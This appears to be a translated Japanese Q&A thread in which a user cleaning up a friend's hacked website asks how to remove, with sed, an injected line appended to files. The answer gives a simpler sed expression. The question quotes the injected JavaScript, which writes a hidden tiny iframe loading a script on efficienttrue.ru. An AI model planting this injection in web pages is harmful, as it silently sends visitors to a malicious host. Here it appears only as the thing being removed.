複雑な文字列を処理するのに大きな問題があります。友達のサイトがハッキングされ閉鎖されました。しかし、私は残りの混乱を整理するのを手伝っています。
各ディレクトリに再帰し、ファイルの末尾に次の文字列がある場合は、その文字列を削除します。
;document.write('<iframe src="http://efficienttrue.ru/upwherehandpainted.cgi?8" scrolling="auto" frameborder="no" align="center" height="13" width="13"></iframe>');
ご覧のとおり、文字列には一重引用符と二重引用符だけでなく、他の特殊文字も含まれています。各特殊文字の前に\エスケープを追加してみましたが、うまくいかないようです。私はこれを試しました:
grep -rl efficienttrue.ru . | xargs sed -i "s/\;document\.write\(\'\<iframe\ src\=\"http\:\/\/efficienttrue\.ru\/upwherehandpainted\.cgi\?8\"\ scrolling\=\"auto\"\ frameborder\=\"no\"\ align\=\"center\"\ height\=\"13\"\ width\=\"13\"\>\<\/iframe\>\'\)\;/\/g"
ただし、次のエラーが発生します。
sed: -e expression #1, char 201: unterminated `s' command
ベストアンサー1
次のようなものを探しているようです。
sed '${s/document\.write([^)]*);//}'
ただし、損傷を修復するためにこの手順を使用しないことをお勧めします。